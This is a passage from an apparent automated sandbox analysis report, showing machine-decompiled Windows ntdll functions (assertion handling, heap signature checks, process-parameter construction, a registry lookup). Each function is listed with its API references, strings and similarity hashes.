0x6a9ef05a
0x6a9ef072
0x6a9ef075
0x6a9ef078
0x6a9ef07b
0x6a9ef08f
0x6a9ef098
0x6a9ef0c3
0x6a9ef0c7
0x6a9ef0cc
0x6a9ef0cd
0x6a9ef0d3
0x6a9ef0d4
0x6a9ef0d6
0x6a9ef0d7
0x6a9ef0e1
0x6a9ef0e9
0x6a9ef0f1
0x6a9ef110
0x6a9ef114
0x6a9ef11d
0x6a9ef11d
0x6a9ef110
0x6a9ef12b
0x6a9ef12b
0x6a9ef0c7
0x6a9ef098
0x6a9ef138

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6A9EF03B

Part of subcall function 6A9EF13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6A9EF182
Part of subcall function 6A9EF13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6A9EF056), ref: 6A9EF19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6A9EF07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6A9EF08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6A9EF0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6A9EF0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6A9EF0F1
ZwClose.1105(?,?,?,00000002), ref: 6A9EF114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6A9EF12B

Strings

\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6A9EF02B
RedirectedKey, xrefs: 6A9EF06A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: ceec4beb31010a9acf80d773247f7334e48a15045e7eff5b214c012ede62a02b
Instruction ID: a6fad6d23a75be80f5cf46bc351fb473ba44dd98cc6fea36cbd19af9ce57dca0
Opcode Fuzzy Hash: ceec4beb31010a9acf80d773247f7334e48a15045e7eff5b214c012ede62a02b
Instruction Fuzzy Hash: CC310771A0115EAFDB11CF94D985EAEBBBCFF48358F21416AE501E2211DB30DE09CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9B5100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85
nativethreadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6A9B5100(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v732;
				char _v736;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t17;
				char _t23;
				void* _t24;
				void* _t26;
				void* _t29;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				signed int _t37;
				void* _t38;
				void* _t43;
				void* _t44;

				_v8 =  *0x6aa0d360 ^ _t37;
				_t30 = _a8;
				_t36 = _a16;
				_t35 = _a4;
				_push( &_v732);
				E6A96DDD0( &_v732, __ecx, _t34, _t35, _t36);
				while(1) {
					_t17 = _t36;
					if(_t36 == 0) {
						_t17 = 0x6a8f48a4;
					}
					_push(_a12);
					_push(_t30);
					_push(_t35);
					E6A9A5720(0x65, 0, "\n*** Assertion failed: %s%s\n***   Source File: %s, line %ld\n\n", _t17);
					_t38 = _t38 + 0x1c;
					if(E6A9C8D47() == 0) {
						break;
					}
					if(E6A9A5780("Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ",  &_v736, 2) == 0) {
						asm("int3");
						L19:
						_push(0xc0000001);
						_push(0xffffffff);
						_t19 = E6A9597C0();
						break;
					}
					_t23 = _v736;
					_t43 = _t23 - 0x62;
					if(_t43 > 0) {
						_t19 = _t23 - 0x69;
						L10:
						if(_t44 == 0) {
							break;
						}
						_t24 = _t19 - 6;
						if(_t24 == 0) {
							L15:
							_t19 = E6A9A5720(0x65, 0, "Execute \'.cxr %p\' to dump context\n",  &_v732);
							_t38 = _t38 + 0x10;
							asm("int3");
							if(_v736 == 0x6f) {
								break;
							}
							if(_v736 != 0x4f) {
								continue;
							}
							break;
						}
						_t26 = _t24 - 1;
						if(_t26 == 0) {
							goto L19;
						}
						if(_t26 == 4) {
							_push(0xc0000001);
							_push(0xfffffffe);
							E6A959A30();
						}
						continue;
					}
					if(_t43 == 0) {
						goto L15;
					}
					_t29 = _t23 - 0x42;
					_t44 = _t29;
					if(_t44 == 0) {
						goto L15;
					}
					_t19 = _t29 - 7;
					goto L10;
				}
				return E6A95B640(_t19, _t30, _v8 ^ _t37, _t34, _t35, _t36);
			}

0x6a9b5112
0x6a9b5116
0x6a9b5120
0x6a9b5124
0x6a9b5127
0x6a9b5128
0x6a9b512d
0x6a9b512d
0x6a9b5131
0x6a9b5133
0x6a9b5133
0x6a9b5138
0x6a9b513b
0x6a9b513c
0x6a9b5147
0x6a9b514c
0x6a9b5156
0x00000000
0x00000000
0x6a9b5171
0x6a9b51de
0x6a9b51df
0x6a9b51df
0x6a9b51e4
0x6a9b51e6
0x00000000
0x6a9b51e6
0x6a9b5173
0x6a9b517a
0x6a9b517d
0x6a9b518b
0x6a9b518e
0x6a9b518e
0x00000000
0x00000000
0x6a9b5190
0x6a9b5193
0x6a9b51ad
0x6a9b51bd
0x6a9b51c2
0x6a9b51c5
0x6a9b51cd
0x00000000
0x00000000
0x6a9b51d6
0x00000000
0x00000000
0x00000000
0x6a9b51dc
0x6a9b5195
0x6a9b5198
0x00000000
0x00000000
0x6a9b519d
0x6a9b519f
0x6a9b51a4
0x6a9b51a6
0x6a9b51a6
0x00000000
0x6a9b519d
0x6a9b517f
0x00000000
0x00000000
0x6a9b5181
0x6a9b5181
0x6a9b5184
0x00000000
0x00000000
0x6a9b5186
0x00000000
0x6a9b5186
0x6a9b51fb

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6A9B5128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6A97D3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6A9B5147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B516A
ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51E6

Strings

Execute '.cxr %p' to dump context, xrefs: 6A9B51B4
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6A9B513E
Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6A9B5165
O, xrefs: 6A9B51CF

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: b233bda505a906248a7c6821375f0e66d9191f8d2e621096bd8e18b8764299f1
Instruction ID: ecc233274c79cc6f0d17346f18536841acb84fe18472f5b6dbc06ec91e1aa3ee
Opcode Fuzzy Hash: b233bda505a906248a7c6821375f0e66d9191f8d2e621096bd8e18b8764299f1
Instruction Fuzzy Hash: 7021677290014D7EEB208978CC88FAB366D9B02358F318542FA33B60A1EF31CE41C761

Uniqueness

Uniqueness Score: -1.00%

Function 6A9140E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E6A9140E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E6A91B150(", passed to %s", _t29);
					}
					_push("\n");
					E6A91B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x6a9140e6
0x6a9140e8
0x6a9140f1
0x6a97042d
0x6a97044c
0x6a970451
0x6a97042f
0x6a970444
0x6a970449
0x6a97045d
0x6a970466
0x6a97046e
0x6a970474
0x6a970475
0x6a97047a
0x6a97048a
0x6a97048c
0x6a970493
0x6a970494
0x6a970494
0x00000000
0x6a97049b
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6A9D38D6), ref: 6A970444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6A9D38D6), ref: 6A97045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6A9D38D6), ref: 6A97046E
DbgPrint.1105(6A8F6B94,?,?,?,?,?,?,6A9D38D6), ref: 6A97047A

Strings

Invalid heap signature for heap at %p, xrefs: 6A970458
RtlGetUserInfoHeap, xrefs: 6A970468
, passed to %s, xrefs: 6A970469
HEAP: , xrefs: 6A97044C
HEAP[%wZ]: , xrefs: 6A97043F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: fefb4d6031bc3536e57d7a182c16879922358867658961d755e1e22c45454739
Instruction ID: 0c3d9b596dd4bcdbf348190dcda07e2ac1c637fff168f93e2281a894146b3db6
Opcode Fuzzy Hash: fefb4d6031bc3536e57d7a182c16879922358867658961d755e1e22c45454739
Instruction Fuzzy Hash: A301283200C195AFD325876898CCF8277B8DB46774F37882AF008477429FA5DC82C261

Uniqueness

Uniqueness Score: -1.00%

Function 6A916800, Relevance: 16.9, APIs: 11, Instructions: 373
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E6A916800(void* __ebx, void* __edi, void* __esi, void** _a4, signed short* _a8, intOrPtr _a12, signed short* _a16, signed short* _a20, void* _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, signed char _a44) {
				char _v5;
				void* _v12;
				void _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;
				intOrPtr* _t132;
				int _t153;
				long _t154;
				void* _t158;
				void _t162;
				void* _t194;
				int _t196;
				void* _t205;
				void* _t206;
				signed short* _t207;
				void* _t209;
				signed int _t211;
				intOrPtr* _t212;
				signed short* _t213;
				signed int _t215;
				signed short* _t217;
				void* _t219;
				void _t228;
				void _t229;
				signed int _t238;
				intOrPtr _t256;
				void* _t262;
				short _t268;
				intOrPtr _t269;
				signed int _t271;
				void* _t272;
				intOrPtr* _t273;
				void* _t275;
				intOrPtr* _t276;
				long _t278;
				void* _t279;

				_t275 = __esi;
				_t272 = __edi;
				_t205 = __ebx;
				if((_a44 & 0xfffffffe) != 0) {
					L61:
					return 0xc000000d;
				}
				_v24 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E6A916BF3(_a8) < 0) {
					goto L61;
				}
				_t256 = _a12;
				_t215 = 0;
				if(_t256 != 0) {
					_t124 = E6A916BF3(_t256);
					_t215 = 0;
				} else {
					_t124 = 0;
				}
				if(_t124 < 0) {
					goto L61;
				} else {
					_push(_t205);
					_v5 = _t215;
					_v32 = _t215;
					_t217 = _a16;
					_t206 = 0x5c;
					if(_t217 == 0) {
						L12:
						_t207 = _a20;
						if(_t207 == 0) {
							_t125 = 0;
						} else {
							_t125 = E6A916BF3(_t207);
						}
						if(_t125 < 0) {
							L65:
							_t126 = 0xc000000d;
							goto L53;
						} else {
							_t218 = _a28;
							if(_a28 == 0) {
								_t219 = 0;
								_t127 = 0;
							} else {
								_t127 = E6A916BF3(_t218);
								_t219 = 0;
							}
							if(_t127 < 0) {
								goto L65;
							} else {
								_t128 = _a32;
								if(_a32 == 0) {
									_t129 = _t219;
								} else {
									_t129 = E6A916BF3(_t128);
									_t219 = 0;
								}
								if(_t129 < 0) {
									goto L65;
								} else {
									_push(_t275);
									_t276 = _a36;
									if(_t276 == 0) {
										_t130 = _t219;
									} else {
										_t130 = E6A916BF3(_t276);
										_t219 = 0;
									}
									if(_t130 < 0) {
										_t126 = 0xc000000d;
										goto L52;
									} else {
										_push(_t272);
										_t273 = _a40;
										if(_t273 == 0) {
											_t131 = _t219;
										} else {
											_t131 = E6A916BF3(_t273);
										}
										if(_t131 < 0) {
											_t126 = 0xc000000d;
											goto L51;
										} else {
											if(_t207 == 0) {
												_t207 = _a8;
												_a20 = _t207;
											}
											_t132 = _a28;
											if(_t132 == 0) {
												_t132 = 0x6a8f1ab0;
												_a28 = 0x6a8f1ab0;
											}
											if(_a32 == 0) {
												_a32 = 0x6a8f1ab0;
											}
											if(_t276 == 0) {
												_t276 = 0x6a8f1ab0;
												_a36 = 0x6a8f1ab0;
											}
											if(_t273 == 0) {
												_t273 = 0x6a8f1ab0;
											}
											_t209 = 3;
											_t278 = 0;
											_t228 = (( *_t207 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_t132 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + (( *_a8 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a32 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + 0x4ac + (( *(_t276 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
											_v16 = _t228;
											if( *_t273 != 0) {
												_t228 = _t228 + (( *(_t273 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t228;
											}
											if(_t256 != 0) {
												_t229 = _t228 + (( *(_t256 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t229;
											}
											if(_a24 != _t278) {
												_t153 = E6A94585B(_a24, 1);
												_t229 = _v16;
											} else {
												_t153 =  *((intOrPtr*)(_v24 + 0x290));
											}
											_v20 = _t153;
											_t211 = _t153 + 0x00000003 & 0xfffffffc;
											if(_t211 < _t153) {
												L77:
												_t126 = 0xc0000095;
												goto L51;
											} else {
												while(1) {
													_t154 = _t211 + _t229;
													if(_t154 < _t229) {
														goto L77;
													}
													_t279 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t278, _t154);
													if(_t279 == 0) {
														_t126 = 0xc000009a;
														L51:
														L52:
														L53:
														return _t126;
													}
													_t158 = _t279 + _v16;
													_v12 = _t158;
													if(_a24 != 0) {
														memcpy(_t158, _a24, _v20);
														L42:
														memset(_t279, 0, 0x2a4);
														_t162 = _v16;
														 *_t279 = _t162;
														 *(_t279 + 4) = _t162;
														 *(_t279 + 0x290) = _t211;
														 *((intOrPtr*)(_t279 + 0xc)) = 0;
														_t53 = _t279 + 0x24; // 0x24
														_t212 = _t53;
														 *((intOrPtr*)(_t279 + 0x2c)) = 0;
														 *((intOrPtr*)(_t279 + 0x48)) = _v12;
														_t57 = _t279 + 0x2a4; // 0x2a4
														_v12 = _t57;
														 *((intOrPtr*)(_t279 + 8)) = 1;
														 *(_t279 + 0x14) =  *(_v24 + 0x14) & 1;
														_t169 = _a16;
														if(_a16 == 0) {
															L6A92EEF0(0x6aa079a0);
															E6A916C14( &_v12, _t212, _v24 + 0x24, 0x208);
															E6A92EB70( &_v12, 0x6aa079a0);
														} else {
															E6A916C14( &_v12, _t212, _t169, 0x208);
															if(_v5 != 0) {
																_t268 = 0x5c;
																 *((short*)( *((intOrPtr*)(_t279 + 0x28)) + _v32 * 2)) = _t268;
																_t194 = 2;
																 *_t212 =  *_t212 + _t194;
															}
														}
														_t234 = _a12;
														if(_a12 != 0) {
															_t104 = _t279 + 0x30; // 0x30
															E6A916C14( &_v12, _t104, _t234,  *(_t234 + 2) & 0x0000ffff);
														}
														_t72 = _t279 + 0x38; // 0x38
														E6A916C14( &_v12, _t72, _a8, ( *_a8 & 0x0000ffff) + 2);
														_t213 = _a20;
														_t75 = _t279 + 0x40; // 0x40
														_t262 = _t75;
														_t238 =  *_t213 & 0x0000ffff;
														_t180 = _t213[1] & 0x0000ffff;
														if(_t238 != (_t213[1] & 0x0000ffff)) {
															_t180 = _t238 + 2;
														}
														E6A916C14( &_v12, _t262, _t213, _t180);
														_t80 = _t279 + 0x70; // 0x70
														E6A916C14( &_v12, _t80, _a28,  *(_a28 + 2) & 0x0000ffff);
														_t84 = _t279 + 0x78; // 0x78
														E6A916C14( &_v12, _t84, _a32,  *(_a32 + 2) & 0x0000ffff);
														_t88 = _t279 + 0x80; // 0x80
														E6A916C14( &_v12, _t88, _a36,  *(_a36 + 2) & 0x0000ffff);
														if( *_t273 != 0) {
															_t118 = _t279 + 0x88; // 0x88
															E6A916C14( &_v12, _t118, _t273,  *(_t273 + 2) & 0x0000ffff);
														}
														if((_a44 & 0x00000001) == 0) {
															_t279 = E6A99BCB0(_t279);
														}
														_t126 = 0;
														 *_a4 = _t279;
														goto L51;
													}
													L6A92EEF0(0x6aa079a0);
													_t269 = _v24;
													_t196 =  *(_t269 + 0x290);
													_v20 = _t196;
													_t251 = _t196 + 0x00000003 & 0xfffffffc;
													_v28 = _t196 + 0x00000003 & 0xfffffffc;
													if(_t196 > _t211) {
														E6A92EB70(_t251, 0x6aa079a0);
														_t278 = 0;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t279);
														_t211 = _v28;
														_t229 = _v16;
														if(_t211 >= _v20) {
															continue;
														}
														goto L77;
													}
													memcpy(_v12,  *(_t269 + 0x48), _t196);
													E6A92EB70(_t251, 0x6aa079a0);
													_t211 = _v28;
													goto L42;
												}
												goto L77;
											}
										}
									}
								}
							}
						}
					}
					_t271 = ( *_t217 & 0x0000ffff) >> 1;
					_v32 = _t271;
					if(E6A916BF3(_t217) < 0 || _t271 == 0) {
						goto L65;
					} else {
						if( *((intOrPtr*)(_t217[2] + _t271 * 2 - 2)) == _t206) {
							L11:
							_t256 = _a12;
							goto L12;
						}
						if(_t271 > 0x103) {
							goto L65;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x6a916800
0x6a916800
0x6a916800
0x6a91680f
0x6a971b26
0x00000000
0x6a971b26
0x6a916821
0x6a91682b
0x00000000
0x00000000
0x6a916831
0x6a916834
0x6a916838
0x6a916b68
0x6a916b6d
0x6a91683e
0x6a91683e
0x6a91683e
0x6a916842
0x00000000
0x6a916848
0x6a916848
0x6a916849
0x6a91684c
0x6a91684f
0x6a916854
0x6a916857
0x6a916893
0x6a916893
0x6a916898
0x6a971b30
0x6a91689e
0x6a9168a0
0x6a9168a0
0x6a9168a7
0x6a971b47
0x6a971b47
0x00000000
0x6a9168ad
0x6a9168ad
0x6a9168b2
0x6a971b37
0x6a971b39
0x6a9168b8
0x6a9168b8
0x6a9168bd
0x6a9168bd
0x6a9168c1
0x00000000
0x6a9168c7
0x6a9168c7
0x6a9168cc
0x6a971b40
0x6a9168d2
0x6a9168d4
0x6a9168d9
0x6a9168d9
0x6a9168dd
0x00000000
0x6a9168e3
0x6a9168e3
0x6a9168e4
0x6a9168e9
0x6a971b51
0x6a9168ef
0x6a9168f1
0x6a9168f6
0x6a9168f6
0x6a9168fa
0x6a971b58
0x00000000
0x6a916900
0x6a916900
0x6a916901
0x6a916906
0x6a971b62
0x6a91690c
0x6a91690e
0x6a91690e
0x6a916915
0x6a971b69
0x00000000
0x6a91691b
0x6a91691d
0x6a971b73
0x6a971b76
0x6a971b76
0x6a916923
0x6a91692d
0x6a971b7e
0x6a971b80
0x6a971b80
0x6a916937
0x6a971b88
0x6a971b88
0x6a91693f
0x6a971b90
0x6a971b92
0x6a971b92
0x6a916947
0x6a971b9a
0x6a971b9a
0x6a916959
0x6a91698f
0x6a916991
0x6a916993
0x6a916999
0x6a971baa
0x6a971bac
0x6a971bac
0x6a9169a1
0x6a916b7d
0x6a916b7f
0x6a916b7f
0x6a9169aa
0x6a916b8d
0x6a916b92
0x6a9169b0
0x6a9169b3
0x6a9169b3
0x6a9169bc
0x6a9169bf
0x6a9169c4
0x6a971bdf
0x6a971bdf
0x00000000
0x6a9169ca
0x6a9169ca
0x6a9169ca
0x6a9169cf
0x00000000
0x00000000
0x6a9169e5
0x6a9169e9
0x6a971c0f
0x6a916b5d
0x6a916b5e
0x6a916b5f
0x00000000
0x6a916b5f
0x6a9169f2
0x6a9169f8
0x6a9169fb
0x6a916ba1
0x6a916a44
0x6a916a4d
0x6a916a52
0x6a916a57
0x6a916a5a
0x6a916a62
0x6a916a68
0x6a916a6b
0x6a916a6b
0x6a916a6e
0x6a916a74
0x6a916a77
0x6a916a7d
0x6a916a83
0x6a916a8b
0x6a916a8e
0x6a916a93
0x6a916bb3
0x6a916bc9
0x6a916bd3
0x6a916a99
0x6a916aa4
0x6a916aad
0x6a916ab7
0x6a916aba
0x6a916abe
0x6a916abf
0x6a916abf
0x6a916aad
0x6a916ac2
0x6a916ac7
0x6a916be1
0x6a916be9
0x6a916be9
0x6a916ad0
0x6a916ade
0x6a916ae3
0x6a916ae6
0x6a916ae6
0x6a916ae9
0x6a916aec
0x6a916af3
0x6a916af5
0x6a916af5
0x6a916afd
0x6a916b05
0x6a916b11
0x6a916b19
0x6a916b25
0x6a916b2d
0x6a916b3c
0x6a916b46
0x6a971bed
0x6a971bf8
0x6a971bf8
0x6a916b50
0x6a971c08
0x6a971c08
0x6a916b59
0x6a916b5b
0x00000000
0x6a916b5b
0x6a916a06
0x6a916a0b
0x6a916a0e
0x6a916a14
0x6a916a1a
0x6a916a1d
0x6a916a22
0x6a971bb9
0x6a971bc5
0x6a971bcb
0x6a971bd0
0x6a971bd3
0x6a971bd9
0x00000000
0x00000000
0x00000000
0x6a971bd9
0x6a916a2f
0x6a916a3c
0x6a916a41
0x00000000
0x6a916a41
0x00000000
0x6a9169ca
0x6a9169c4
0x6a916915
0x6a9168fa
0x6a9168dd
0x6a9168c1
0x6a9168a7
0x6a91685c
0x6a91685e
0x6a916868
0x00000000
0x6a916876
0x6a91687e
0x6a916890
0x6a916890
0x00000000
0x6a916890
0x6a916886
0x00000000
0x00000000
0x6a91688c
0x00000000
0x6a91688c
0x6a916868

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6A9169E0
RtlEnterCriticalSection.1105(6AA079A0,?,00000000,?), ref: 6A916A06
memcpy.1105(?,?,?,6AA079A0,?,00000000,?), ref: 6A916A2F
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A916A3C
memset.1105(00000000,00000000,000002A4,6AA079A0), ref: 6A916A4D

Part of subcall function 6A916C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6A916BCE,?,00000208,6AA079A0,?,?,6AA079A0), ref: 6A916C39
Part of subcall function 6A916C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6A916BCE,?,00000208,6AA079A0,?,?,6AA079A0), ref: 6A916C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6A971C03

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: 14f599e3e4811a51a2309577677d3ec6988eedfee507704ac759ebc955eac9c4
Instruction ID: d50135e6329b740cc82cb5fc6063876defbfa34ce70533c205a63be840c9132c
Opcode Fuzzy Hash: 14f599e3e4811a51a2309577677d3ec6988eedfee507704ac759ebc955eac9c4
Instruction Fuzzy Hash: EFD1E271E482099FDB14CF68C8D0AAA77B4EF06318F254169EA25DB291EF34DD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9951BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A9951BE(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t101;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t108;
				signed int _t110;
				void* _t113;
				int _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x6a9f05f0);
				E6A96D0E8(__ebx, __edi, __esi);
				 *(_t118 - 0x80) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L6A92EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *(_t118 - 0x80);
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E6A9953CA(0);
						return E6A96D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					memcpy(_t108, _t101, _t115);
					 *((short*)( *(_t118 - 0x80) + _t115)) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E6A933690(1, _t117, 0x6a8f1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *(_t118 - 0x70) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E6A95AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *(_t118 - 0x70));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
